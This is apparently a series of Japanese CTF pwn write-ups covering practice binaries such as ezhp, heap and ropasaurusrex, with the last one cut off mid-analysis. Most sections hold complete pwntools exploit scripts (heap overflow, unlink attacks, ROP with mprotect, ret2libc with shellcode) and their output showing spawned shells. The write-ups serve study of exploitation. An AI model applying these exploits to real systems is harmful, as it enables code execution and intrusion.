pwn challenges list easy villager B
解いた.
常設なのでwrite upは書けないが,ハリネズミ本のpwnの章を理解していれば問題ない.
セキュリティ機構としてPIEが有効になっていることを除けばそこまで苦労しなかった.
今後もちまちまpwn challenges list 進めていきます.
pwn challenges list easy PWN200
下調べ
mattun-mart@4ctf:~/Workspace/pwn/easy/PWN200$ file heaptaskforbin | sed -e 's/,/\n/g' heaptaskforbin: ELF 32-bit LSB executable Intel 80386 version 1 (SYSV) dynamically linked interpreter /lib/ld-linux.so.2 for GNU/Linux 2.6.15 BuildID[sha1]=60830f78c4331bce955103f8cf77e1e5c47e361d stripped
mattun-mart@4ctf:~/Workspace/pwn/easy/PWN200$ checksec.sh --file heaptaskforbin RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX enabled Not an ELF file No RPATH No RUNPATH heaptaskforbin
解析
引数にポート番号を指定して実行すると,指定したポートで接続を待ち受ける.nc コマンドで接続すると次のようなメニューが表示された.(ここではポート番号22222を指定した)
mattun-mart@4ctf:~/Workspace/pwn/easy/PWN200$ nc localhost 22222 Welcome 1 - save message 2 - show message 3 - append message 4 - rewrite message 5 - delete message
それぞれの処理は次の通り.
1. ユーザが入力したデータを保存.保存したデータのIDを返す.
2. 入力したIDのデータの内容を表示
3. 入力したIDのデータに追加でデータを保存.
4. 入力したIDのデータの内容を上書き.
5. 指定したIDのデータを削除
これらのデータはヒープ領域に保存されており,mallocとfreeで領域の確保や保存を行っている.
デバッガで解析していくと,メニューを表示する前に初期化処理のようなものが行われていた.
一定数領域を確保し,ランダムな値を確保した領域に保存.その後いくつかの領域をfreeして解放.
このとき,flagファイルからflagをヒープ領域に読み込んでいる.
今回はflagが読み込まれたデータの中身が読めれば良いらしい.
このプログラムappendの処理で確保した領域のサイズを超えてデータの追加保存ができるため,appendでデータを追加してflagのデータとつなげてやって表示すれば良さそう.
Exploit
開放された領域にデータを新たに保存して,そのデータに少しずつ文字列を追加・表示.これをflagが出力されるまでそれぞれのでデータでやる.
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * host = 'localhost' port = 22222 conn = remote(host, port) def save(message): conn.send("1\n") conn.recv() conn.send(message + "\n") conn.recvuntil("Message ID = ") heap_id = conn.recvline() return heap_id def show(heap_id): conn.send("2\n") conn.recv() conn.send(heap_id + "\n") conn.recvuntil("Your message:") message = conn.recvuntil("Welcome")[:-7] return message def append(heap_id, add_message): conn.send("3\n") conn.recv() conn.send(heap_id + "\n") conn.recv() conn.send(add_message) conn.recvuntil("Success") heap_id_list = [] for i in range(20): message = "A" * 0x100 heap_id_list.append(save(message)) for heap_id in heap_id_list: for i in range(0x100): add_message = "aa" append(heap_id, add_message) result = show(heap_id) if "flag" in result: print result exit()
結果
flagファイルの中身 flag desuyoが表示されることを確認した.
mattun-mart@4ctf:~/Workspace/pwn/easy/PWN200$ python exploit.py [*] Checking for new versions of pwntools To disable this functionality, set the contents of /home/mattun-mart/.pwntools-cache/update to 'never'. [*] You have the latest version of Pwntools (3.12.0) [+] Opening connection to localhost on port 22222: Done AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaa aaflag desuyo
pwn challenges list easy ezhp
下調べ
mattun-mart@4ctf:~/Workspace/pwn/easy/ezhp$ file ezhp | sed -e "s/,/\n/g" ezhp: ELF 32-bit LSB executable Intel 80386 version 1 (SYSV) dynamically linked interpreter /lib/ld-linux.so.2 for GNU/Linux 2.6.24 BuildID[sha1]=76bda55f976430db3bea49b59ecd66040527fa9a stripped
mattun-mart@4ctf:~/Workspace/pwn/easy/ezhp$ checksec.sh --file ezhp RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX disabled Not an ELF file No RPATH No RUNPATH ezhp
解析
動作させてみると,ノート管理を行のためのメニューが表示される.
Please enter one of the following: 1 to add a note. 2 to remove a note. 3 to change a note. 4 to print a note. 5 to quit. Please choose an option.
それぞれの処理は次の通り
1. heap領域から指定したサイズ領域を確保.領域にはidが0から振られる.
2. 指定したidの領域を解放.
3. 指定したidの領域に対して指定したサイズ分データを保存.
4. 指定したidの領域の内容を表示
5. プログラム終了
このプログラムはheapの管理が独自実装になっており,size,*fd,*bk,*char bufという感じで双方向リストで管理されている.
また,3の処理では確保してある領域のサイズより大きいサイズを指定することができるため,次のidの領域の内容を書き換えることが可能.
さらにこのプログラムは,解放処理で対象のチャンクPをリストから外す際に,p->fd->bk == p,p->bk->fd == pを確認していない.
以上のことから,unlink attackが可能.
Exploit
NXが無効化されているので,確保した領域にshellcodeを積んで実行することを考える.
Gotがシェルコードを指すようにしてあげることで,GOTが呼ばれたときにシェルコードが実行されるようにする.
次の図のような感じにした.
unlink後はシェルコードを実行したいが,チャンクの先頭指すことになるためfdとbkが邪魔.
相対ジャンプでfdとbkを避けてあげることでシェルコードを実行させた.
#!/usr/bin/env python # -*- coding:utf-8 -*- from pwn import * conn = process('./ezhp') elf = ELF('./ezhp') puts_got_addr = elf.got['puts'] shellcode = asm(shellcraft.sh()) # add_note id 0 conn.send("1\n") conn.send("100\n") # add_note id 1 conn.send("1\n") conn.send("100\n") # add_note id 2 conn.send("1\n") conn.send("100\n") # change note id 1 conn.send("3\n") conn.send("0\n") conn.send("112\n") payload = "A" * 108 payload += "\x90\x90\xeb\x08" # jmp to shellcode payload += "\n" conn.send(payload) # change note id 1 conn.send("3\n") conn.send("1\n") conn.send("116\n") payload = shellcode payload += "A" * (112 - len(shellcode)) payload += p32(puts_got_addr - 8) # fd:got-8 fd->bk:got payload += "\n" conn.send(payload) # remove note id 2 (unlink attack) conn.send("2\n") conn.send("2\n") conn.interactive()
結果
mattun-mart@4ctf:~/Workspace/pwn/easy/ezhp$ python exploit.py [+] Starting local process './ezhp': pid 25845 [*] '/home/mattun-mart/Workspace/pwn/easy/ezhp/ezhp' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments [*] Switching to interactive mode Please enter one of the following: 1 to add a note. 2 to remove a note. 3 to change a note. 4 to print a note. 5 to quit. Please choose an option. Please give me a size. Please enter one of the following: 1 to add a note. 2 to remove a note. 3 to change a note. 4 to print a note. 5 to quit. Please choose an option. Please give me a size. Please enter one of the following: 1 to add a note. 2 to remove a note. 3 to change a note. 4 to print a note. 5 to quit. Please choose an option. Please give me a size. Please enter one of the following: 1 to add a note. 2 to remove a note. 3 to change a note. 4 to print a note. 5 to quit. Please choose an option. Please give me an id. Please give me a size. Please input your data. Please enter one of the following: 1 to add a note. 2 to remove a note. 3 to change a note. 4 to print a note. 5 to quit. Please choose an option. Please give me an id. Please give me a size. Please input your data. Please enter one of the following: 1 to add a note. 2 to remove a note. 3 to change a note. 4 to print a note. 5 to quit. Please choose an option. Please give me an id. $ ls core ezhp.id1 dump ezhp.id2 exploit.py ezhp.nam ezhp ezhp.til ezhp-b502addeb274f41757555c05b08e3b05.tar.bz2 peda-session-ezhp.txt ezhp.id0 peda-session-ls.txt
pwn challenges list easy bin_pwn_300
下調べ
mattun-mart@4ctf:~/Workspace/pwn/easy/bin_pwn_300$ file chal |sed -e "s/,/\n/g" chal: ELF 32-bit LSB executable Intel 80386 version 1 (SYSV) dynamically linked interpreter /lib/ld-linux.so.2 for GNU/Linux 2.
mattun-mart@4ctf:~/Workspace/pwn/easy/bin_pwn_300$ checksec.sh --file chal RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH chal
NX有効.
解析
straceで実行すると,ポート32000で待ち受けているので接続する.
mattun-mart@4ctf:~$ nc localhost 32000 aaaa aaaaaaaaa a
よくわからないので解析する.
解析した結果ざっくりしたプログラムの流れは以下の通り.
1. recv関数で0x10文字受け取り,改行文字に終端文字列を挿入.
2. 入力のうち改行文字までの文字列と(white,black,bintendo64,46odnetnib,hex,hax)とそれぞれ比較.一致していれば一致した名前の関数を実行.
3. 関数の処理結果をsend関数で送信.
それぞれの関数の処理内容は以下のような感じ.
white
入力された文字の値を" "と"\t"に変換して表現.
ex. A → 41 →01000001 → "_\t_____\t"(スペースは_で表している)
1. 入力を受け取り.
2. 入力された文字列の1文字目の値の1bit目が1であれば"\t",0であれば" "をバッファに保存
3. 1文字目の値を1bit右シフト
4. 8bit分2,3の処理を繰り返した後に,対象文字を次の文字列へ
black
whiteの逆変換
1. 入力を受け取り.
2. 入力された文字列" "だったら0,"\t"だったら1をバッファに保存
3. 8bit分2の処理を繰り返し,結果をバッファに保存.
ただし,入力が0x200分あれば入力された文字列に対する処理が終わった後に再度入力を受け取り同じ処理を実施する.(最大10回可能)
46odnetnib
入力されたbase64文字列をデコード
hex
pythonでいうord()
hax
pythonでいうchr()
どこにバグがあるかというとblack関数.
変換結果の保存先のバッファのアドレスがリターンアドレスの保存先に近いため,入力が多いと書き換えが可能.
その差は0x210.
一回でバッファに保存できるサイズは0x40(0x200/8)ので,9回目の入力の途中から書き換えが可能.
Exploit
このプログラムは文字列を読み込むための関数中でmprotect関数が使われているためNXを回避できる.
そのため,mprotect関数でどこかしらの領域を実行可能にしてシェルコードを実行すれば良い.
書き込めるサイズは0x70byte分と小さく,スタックにシェルコードを積むとサイズオーバーしてしまうので,bss領域にシェルコードを積んで実行する.
あとはpayloadを" "と"\t"の組み合わせの文字列に変換して送ってやればよい.(mprotectに指定するアドレスはページ境界なことに注意)
#!/usr/bin/env python # -*- coding:utf-8 -*- from pwn import * #context. log_level = 'debug' def conv_format(buf): result = "" for i in buf: code = ord(i) for j in range(8): if code<<j & 0x80: result += "\t" else: result += " " return result host = 'localhost' port = 32000 conn = remote(host, port) elf = ELF("./chal") shellcode = asm(shellcraft.sh()) recv_plt_addr = elf.plt['recv'] mprotect_plt_addr = elf.plt['mprotect'] send_plt_addr = elf.plt['send'] pop4ret = 0x080496a0 pop3ret = 0x080496a1 bss = 0x0804b000 # fast input payload = "black\n" + "A" * 10 conn.send(payload) # second input # (black input) payload = "A" * 0x210 # padding # mprotect(bss,0x1000,7) payload += p32(mprotect_plt_addr) payload += p32(pop3ret) payload += p32(bss) payload += p32(0x1000) payload += p32(7) # recv(4,bss+0x200,len(shellcode),0) payload += p32(recv_plt_addr) payload += p32(pop4ret) payload += p32(4) payload += p32(bss+ 0x200) payload += p32(len(shellcode)) payload += p32(0) # stored shellcode payload += p32(bss + 0x200) payload += "A" * (0x280 - len(payload)) conn.send(conv_format(payload)) conn.send(shellcode) conn.interactive()
結果
mattun-mart@4ctf:~/Workspace/pwn/easy/bin_pwn_300$ python exploit.py [+] Opening connection to localhost on port 32000: Done [*] '/home/mattun-mart/Workspace/pwn/easy/bin_pwn_300/chal' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [*] Switching to interactive mode $ ls chal chal.i64 chal.id0 chal.id1 chal.id2 chal.nam chal.til dump exploit.py memo.c peda-session-chal.txt
pwn challenges list easy heap
下調べ
mattun-mart@4ctf:~/Workspace/pwn/easy/heap$ file heap | sed -e "s/,/\n/g" heap: ELF 32-bit LSB executable Intel 80386 version 1 (SYSV) dynamically linked interpreter /lib/ld-linux.so.2 for GNU/Linux 2.6.24 BuildID[sha1]=1b4e88004c13ca18ef78ac90b298c1e247c1d4e5 not stripped
mattun-mart@4ctf:~/Workspace/pwn/easy/heap$ checksec.sh --file heap RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH heap
NX有効.
解析
さっそく起動してみる.
20個オブジェクトを割り当てたと出力が出て260バイトのサイズで入力を求められるので271バイト送ってみる.
割り当てた領域を11個目のオブジェクトを開放する際にプログラムが落ちている.
mattun-mart@4ctf:~/Workspace/pwn/easy/heap$ ./heap Welcome to your first heap overflow... I am going to allocate 20 objects... Using Dougle Lee Allocator 2.6.1... Goodluck! Exit function pointer is at 804C8AC address. [ALLOC][loc=8E2D008][size=1246] [ALLOC][loc=8E2D4F0][size=1121] [ALLOC][loc=8E2D958][size=947] [ALLOC][loc=8E2DD10][size=741] [ALLOC][loc=8E2E000][size=706] [ALLOC][loc=8E2E2C8][size=819] [ALLOC][loc=8E2E600][size=673] [ALLOC][loc=8E2E8A8][size=1004] [ALLOC][loc=8E2EC98][size=952] [ALLOC][loc=8E2F058][size=755] [ALLOC][loc=8E2F350][size=260] [ALLOC][loc=8E2F458][size=877] [ALLOC][loc=8E2F7D0][size=1245] [ALLOC][loc=8E2FCB8][size=1047] [ALLOC][loc=8E300D8][size=1152] [ALLOC][loc=8E30560][size=1047] [ALLOC][loc=8E30980][size=1059] [ALLOC][loc=8E30DA8][size=906] [ALLOC][loc=8E31138][size=879] [ALLOC][loc=8E314B0][size=823] Write to object [size=260]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Copied 271 bytes. [FREE][address=8E2D008] [FREE][address=8E2D4F0] [FREE][address=8E2D958] [FREE][address=8E2DD10] [FREE][address=8E2E000] [FREE][address=8E2E2C8] [FREE][address=8E2E600] [FREE][address=8E2E8A8] [FREE][address=8E2EC98] [FREE][address=8E2F058] [FREE][address=8E2F350] Segmentation fault (コアダンプ)
てことでデバッガで追ってみると,次のような処理をしていた.
1. 乱数により生成されたサイズ分(毎回固定),mallocで領域確保.ただし11個目のサイズは0x104で固定
2. 確保した領域のアドレスとサイズをスタックに保存.
3. ユーザからの入力をサイズ0x1000で受け取り.
4. ユーザから受け取った入力をmemcpy関数で11個目の確保領域にコピー.(ここでヒープオーバーフローが起こせる)
5. 各領域を確保した順にfree関数で解放
heap関連はあまり経験がないので,ここからbataさんの資料等を参考に進めている.
最初の出力でもわかるがここで使われているmalloc関連の関数はDougle Lee Allocator 2.6.1を用いているらしい.
http://gee.cs.oswego.edu/pub/misc/malloc-2.6.1.c
この Dougle Lee Allocator 2.6.1のfree()の際のunlinkは下記のようになっている.
しかし,古き良き時代のものなので,Ful->bk == p, Bul->fd == pの判定が入っておらず簡単にunlink attackができる.
#define unlink(p) { mchunkptr Bul = (p)->bk; mchunkptr Ful = (p)->fd; Ful->bk = Bul; Bul->fd = Ful; }
ついでにこのプログラム,割当ての際にheap領域が実行可能になるらしい.
NXが有効にもかかわらず,heap領域に限っては自前のシェルコードが実行できる.
gdb-peda$ vmmap Start End Perm Name 0x08048000 0x0804b000 r-xp /home/mattun-mart/Workspace/pwn/easy/heap/heap 0x0804b000 0x0804c000 r--p /home/mattun-mart/Workspace/pwn/easy/heap/heap 0x0804c000 0x0804d000 rw-p /home/mattun-mart/Workspace/pwn/easy/heap/heap 0x0804d000 0x08051000 rwxp [heap] 0xf7e05000 0xf7e06000 rw-p mapped 0xf7e06000 0xf7fb6000 r-xp /lib/i386-linux-gnu/libc-2.23.so 0xf7fb6000 0xf7fb8000 r--p /lib/i386-linux-gnu/libc-2.23.so 0xf7fb8000 0xf7fb9000 rw-p /lib/i386-linux-gnu/libc-2.23.so 0xf7fb9000 0xf7fbc000 rw-p mapped 0xf7fd4000 0xf7fd5000 rw-p mapped 0xf7fd5000 0xf7fd8000 r--p [vvar] 0xf7fd8000 0xf7fd9000 r-xp [vdso] 0xf7fd9000 0xf7ffc000 r-xp /lib/i386-linux-gnu/ld-2.23.so 0xf7ffc000 0xf7ffd000 r--p /lib/i386-linux-gnu/ld-2.23.so 0xf7ffd000 0xf7ffe000 rw-p /lib/i386-linux-gnu/ld-2.23.so 0xfffdd000 0xffffe000 rw-p [stack]
Exploit
方針としては,
1. ヒープオーバーフローで入力に12個目の領域のsize,fb,bkを書き換え.またシェルコードを積んでおく.
2. 11個目の領域をfree()で解放するときにunlink attackでGOT領域の関数をシェルコードに向ける.
3. GOT関数が呼び出された際に,シェルコード実行.
図にするとこんな感じ.
うまく12個目のchunkをfreeさせるために,12個目のチャンクのprev_inuseの値を1にするのと,13個目のチャンク(array12_addr + sizeで位置を計算可)のprev_inuseの値を0にするのを忘れずに.
最終的には以下のようなExploitコードになった.
#!/usr/bin/env python # -*- coding:utf-8 -*- from pwn import * conn = process('./heap') elf = ELF('./heap') printf_got_addr = elf.got['printf'] heap_addr = int(conn.recvuntil('size=260')[-17:-10],16) shellcode = asm(shellcraft.sh()) buf_size = 0x104 payload = "\xeb\x10" # jmp 0x10 p->bk->fd = p->fdの際に入力内容が一部アドレスで書き換わるのでjmpで避ける. payload = "A" * (0x10 - len(payload)) payload += shellcode payload += "A" * (buf_size - len(payload)) payload += p32(0x11) # size chunk12 prev_inuse = 1 chunk13 prev_inuse = 0 payload += p32(printf_got_addr - 8) # fb payload += p32(heap_addr) # bk payload += "\n" conn.send(payload) conn.recv() conn.interactive()
結果
mattun-mart@4ctf:~/Workspace/pwn/easy/heap$ python exploit.py [+] Starting local process './heap': pid 13042 [*] '/home/mattun-mart/Workspace/pwn/easy/heap/heap' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [*] Switching to interactive mode ] [ALLOC][loc=853F458][size=877] [ALLOC][loc=853F7D0][size=1245] [ALLOC][loc=853FCB8][size=1047] [ALLOC][loc=85400D8][size=1152] [ALLOC][loc=8540560][size=1047] [ALLOC][loc=8540980][size=1059] [ALLOC][loc=8540DA8][size=906] [ALLOC][loc=8541138][size=879] [ALLOC][loc=85414B0][size=823] Write to object [size=260]: Copied 273 bytes. [FREE][address=853D008] [FREE][address=853D4F0] [FREE][address=853D958] [FREE][address=853DD10] [FREE][address=853E000] [FREE][address=853E2C8] [FREE][address=853E600] [FREE][address=853E8A8] [FREE][address=853EC98] [FREE][address=853F058] [FREE][address=853F350] $ ls core exploit.py heap.id0 heap.id2 heap.til dump heap heap.id1 heap.nam peda-session-heap.txt
今まで逆アセンブル結果はobjdumpの結果を見ていたが,今回はIDAを使ってみた.
制御フローが可視化されるのがとても良い.
この調子でheapの理解を深めていきたい.
pwnbaby easy ropasaurusrex
下調べ
mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ file ropasaurusrex | sed -e "s/,/\n/g" ropasaurusrex: ELF 32-bit LSB executable Intel 80386 version 1 (SYSV) dynamically linked interpreter /lib/ld-linux.so.2 for GNU/Linux 2.6.18 BuildID[sha1]=96997aacd6ee7889b99dc156d83c9d205eb58092 stripped
mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ checksec.sh --file ropasaurusrex RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH ropasaurusrex
NX有効.
解析
プログラムを起動すると入力待ちになる.大量に文字を入力してみるとプログラムが落ちる.
mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ ./ropasaurusrex AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault (コアダンプ)
デバッガで追ってみるとread関数でバッファーオーバーフローが起きることがわかった.0x100文字分入力が可能だが,入力を格納する領域0xffffd084+0x8Cの位置にリターンアドレスが格納されているため,
0x8c(140)を超えて入力してしまうとリターンアドレスが上書きされてしまう.
[----------------------------------registers-----------------------------------] EAX: 0xffffd090 --> 0x0 EBX: 0x0 ECX: 0xb5cd6f5c EDX: 0xffffd164 --> 0x0 ESI: 0xf7fb9000 --> 0x1afdb0 EDI: 0xf7fb9000 --> 0x1afdb0 EBP: 0xffffd118 --> 0xffffd138 --> 0x0 ESP: 0xffffd080 --> 0x0 EIP: 0x8048416 (call 0x804832c <read@plt>) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048405: lea eax,[ebp-0x88] 0x804840b: mov DWORD PTR [esp+0x4],eax 0x804840f: mov DWORD PTR [esp],0x0 => 0x8048416: call 0x804832c <read@plt> 0x804841b: leave 0x804841c: ret 0x804841d: push ebp 0x804841e: mov ebp,esp Guessed arguments: arg[0]: 0x0 arg[1]: 0xffffd090 --> 0x0 arg[2]: 0x100 [------------------------------------stack-------------------------------------] 0000| 0xffffd080 --> 0x0 0004| 0xffffd084 --> 0xffffd090 --> 0x0 0008| 0xffffd088 --> 0x100 0012| 0xffffd08c --> 0x1 0016| 0xffffd090 --> 0x0 0020| 0xffffd094 --> 0x1 0024| 0xffffd098 --> 0xf7ffd918 --> 0x0 0028| 0xffffd09c --> 0xf0b2ff [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x08048416 in ?? ()
ということでリターンアドレスは奪えたので後はどうにかしてシェルを起動してやれば良い.
Exploit
NXが有効になっておりシェルコードを積んでも実行出来ないので,libc内のsystem関数を呼び出してあげることにする.
プログラムではreadとwrite関数が利用されているのでこの2つを利用してアドレスのリークと書き換えを行う.
方針としては
1. write関数を用いてlibc内の関数をどれでもよいのでリーク
2. リークしたアドレスからlibc_baseのアドレスを計算.libc内のsystem関数のアドレスを計算.
3. read関数でGOT領域の関数をsystemに書き換え + 文字列/bin/shをどこかに格納
4. system関数に書き換えたGOT領域の関数を呼び出しシェルを起動.
ということで,必要なアドレスを集める.
リークするアドレスの関数はwrite関数にしたので(read関数とかでもよい),write_offset値,system_offset値を調べる.
ただし,実際はリモート環境で利用されているlibcを調べる必要がある.
mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ ldd ropasaurusrex | grep libc libc.so.6 => /lib32/libc.so.6 (0xf7589000) mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ nm -D /lib32/libc.so.6 | grep write 0011ee00 T _IO_do_write 000694d0 T _IO_do_write 0011e830 T _IO_file_write 00068460 T _IO_file_write 0005e210 T _IO_fwrite 00063880 T _IO_wdo_write 000d2780 T __libc_pwrite 000d28d0 W __pwrite64 000d43c0 W __write 000e5770 T eventfd_write 0005e210 W fwrite 000673c0 T fwrite_unlocked 000e62b0 T process_vm_writev 000d2780 W pwrite 000d28d0 W pwrite64 000dd880 T pwritev 000dd940 T pwritev64 000d43c0 W write 000dd6b0 W writev mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ nm -D /lib32/libc.so.6 | grep system 0003a940 T __libc_system 00110840 T svcerr_systemerr 0003a940 W system
ropで関数呼び出しを継続するときに,スタック内のread関数とwrite関数の引数(いずれも引数は3つ)が邪魔なので,この引数を取り除くためのpop3retをrp++を利用して調べる.
mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ rp -f ropasaurusrex -r 3 --unique | grep pop 0x080483c1: add al, 0x5B ; pop ebp ; ret ; (2 found) 0x080483bf: add esp, 0x04 ; pop ebx ; pop ebp ; ret ; (2 found) 0x080484b1: fiadd word [ebx+0x5E5B1CC4] ; pop edi ; pop ebp ; ret ; (1 found) 0x080483c0: les eax, [ebx+ebx*2] ; pop ebp ; ret ; (2 found) 0x08048451: mov ebp, esp ; pop ebp ; ret ; (1 found) 0x080482e8: pop eax ; pop ebx ; leave ; ret ; (1 found) 0x080483c3: pop ebp ; ret ; (4 found) 0x080482e9: pop ebx ; leave ; ret ; (2 found) 0x080483c2: pop ebx ; pop ebp ; ret ; (2 found) 0x08048504: pop ecx ; pop ebx ; leave ; ret ; (1 found) 0x080484b7: pop edi ; pop ebp ; ret ; (1 found) 0x080484b6: pop esi ; pop edi ; pop ebp ; ret ; (1 found) # これを利用する 0x08048450: push ebp ; mov ebp, esp ; pop ebp ; ret ; (1 found) 0x080483ba: sub byte [esi-0x7CFEF7FC], dl ; les eax, [ebx+ebx*2] ; pop ebp ; ret ; (1 found)
あとはExploit書くだけ.
#!/usr/bin/env python # -*- coding:utf-8 -*- from pwn import * #context.log_level = 'debug' conn = process('./ropasaurusrex') elf = ELF('./ropasaurusrex') write_plt_addr = elf.plt['write'] read_plt_addr = elf.plt['read'] write_got_addr = elf.got['write'] write_offset = 0x000d43c0 system_offset = 0x0003a940 binsh_offset = 0x15902b pop3ret = 0x080484b6 # write(1,write_got_addr,4) payload = "A" * 140 payload += p32(write_plt_addr) payload += p32(pop3ret) payload += p32(1) payload += p32(write_got_addr) payload += p32(4) # read(0,write_got_addr,12) payload += p32(read_plt_addr) payload += p32(pop3ret) payload += p32(0) payload += p32(write_got_addr) payload += p32(12) # system(/bin/sh) payload += p32(write_plt_addr) payload += "AAAA" payload += p32(write_got_addr + 4) # conn.send()で送るp32(system_addr)は4byteだから文字列"/bin/sh"の位置にずらす payload += "\n" conn.send(payload) # culcurate libc libc_write_addr = u32(conn.recv()) libc_base_addr = libc_write_addr - write_offset system_addr = libc_base_addr + system_offset conn.send(p32(system_addr) + b'/bin/sh\0') conn.interactive()
結果
とりあえずローカル環境.リモート環境でやりたいときはsocatとか使う.
mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ python exploit.py [+] Starting local process './ropasaurusrex': pid 26166 [*] '/home/mattun-mart/Workspace/pwn/easy/ropasaurusrex/ropasaurusrex' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [*] Switching to interactive mode $ ls core libc.so.6-f85c96c8fc753bfa75140c39501b4cd50779f43a ropasaurusrex dump peda-session-dash.txt exploit.py peda-session-ropasaurusrex.txt
pwnlist baby greeting
下調べ
mattun-mart@4ctf:~/Workspace/pwn/baby/greeting$ file greeting |sed -e "s/,/\n/g" greeting: ELF 32-bit LSB executable Intel 80386 version 1 (SYSV) dynamically linked interpreter /lib/ld-linux.so.2 for GNU/Linux 2.6.24 BuildID[sha1]=beb85611dbf6f1f3a943cecd99726e5e35065a63 not stripped
mattun-mart@4ctf:~/Workspace/pwn/baby/greeting$ checksec.sh --file greeting RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO Canary found NX enabled Not an ELF file No RPATH No RUNPATH greeting
NX,SSP有効.
解析
プログラムを実行すると名前の入力を求められる.
%pを入力してみる.どうやらFSBがあるらしい.
mattun-mart@4ctf:~/Workspace/pwn/baby/greeting$ ./greeting Hello, I'm nao! Please tell me your name... AAAABBBBCCCC%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p Nice to meet you, AAAABBBBCCCC0x80487d0,0xffa5b05c,(nil),(nil),(nil),(nil),0x6563694e,0x206f7420,0x7465656d,0x756f7920,0x4141202c,0x42424141,0x43434242 :)
また,objdumpで逆アセンブルした結果を見ているとnao関数の中にsystem関数を発見.
08048742 <nao>: 8048742: 55 push ebp 8048743: 89 e5 mov ebp,esp 8048745: 83 ec 18 sub esp,0x18 8048748: a1 80 9a 04 08 mov eax,ds:0x8049a80 804874d: c7 44 24 04 00 00 00 mov DWORD PTR [esp+0x4],0x0 8048754: 00 8048755: 89 04 24 mov DWORD PTR [esp],eax 8048758: e8 e3 fc ff ff call 8048440 <setbuf@plt> 804875d: a1 a0 9a 04 08 mov eax,ds:0x8049aa0 8048762: c7 44 24 04 00 00 00 mov DWORD PTR [esp+0x4],0x0 8048769: 00 804876a: 89 04 24 mov DWORD PTR [esp],eax 804876d: e8 ce fc ff ff call 8048440 <setbuf@plt> 8048772: c7 04 24 9c 87 04 08 mov DWORD PTR [esp],0x804879c 8048779: e8 12 fd ff ff call 8048490 <system@plt> 804877e: c9 leave 804877f: c3 ret
FSBを利用して何か関数をsystem関数に書き換えてあげればよさそう.
しかし,FSBを利用してsystem関数に書き換えられそうな関数がない.困った.__stack_chk_failぐらいか...?
8048643: e8 98 fe ff ff call 80484e0 <sprintf@plt> 8048648: 8d 44 24 1c lea eax,[esp+0x1c] 804864c: 89 04 24 mov DWORD PTR [esp],eax 804864f: e8 fc fd ff ff call 8048450 <printf@plt> 8048654: eb 0c jmp 8048662 <main+0x75> 8048656: c7 04 24 e9 87 04 08 mov DWORD PTR [esp],0x80487e9 804865d: e8 1e fe ff ff call 8048480 <puts@plt> 8048662: 8b 94 24 9c 00 00 00 mov edx,DWORD PTR [esp+0x9c] 8048669: 65 33 15 14 00 00 00 xor edx,DWORD PTR gs:0x14 8048670: 74 05 je 8048677 <main+0x8a> 8048672: e8 f9 fd ff ff call 8048470 <__stack_chk_fail@plt> 8048677: c9 leave 8048678: c3 ret
仕方ないので調べる.
デストラクタというものがあるらしい.exit後に.fini_arrayセクションに登録された関数が実行される.
ということで.fini_arrayをmainに書き換えてやればもう一度プログラムを走らせることが可能になる.
シェルを起動するためにはSystem関数の引数に/bin/shを指定する必要があるので,入力後に入力した値を引数に取るような関数をsystem関数に書き換えれれば都合が良い.
コードを見てみるとstrlen関数を利用すれば良さそう.
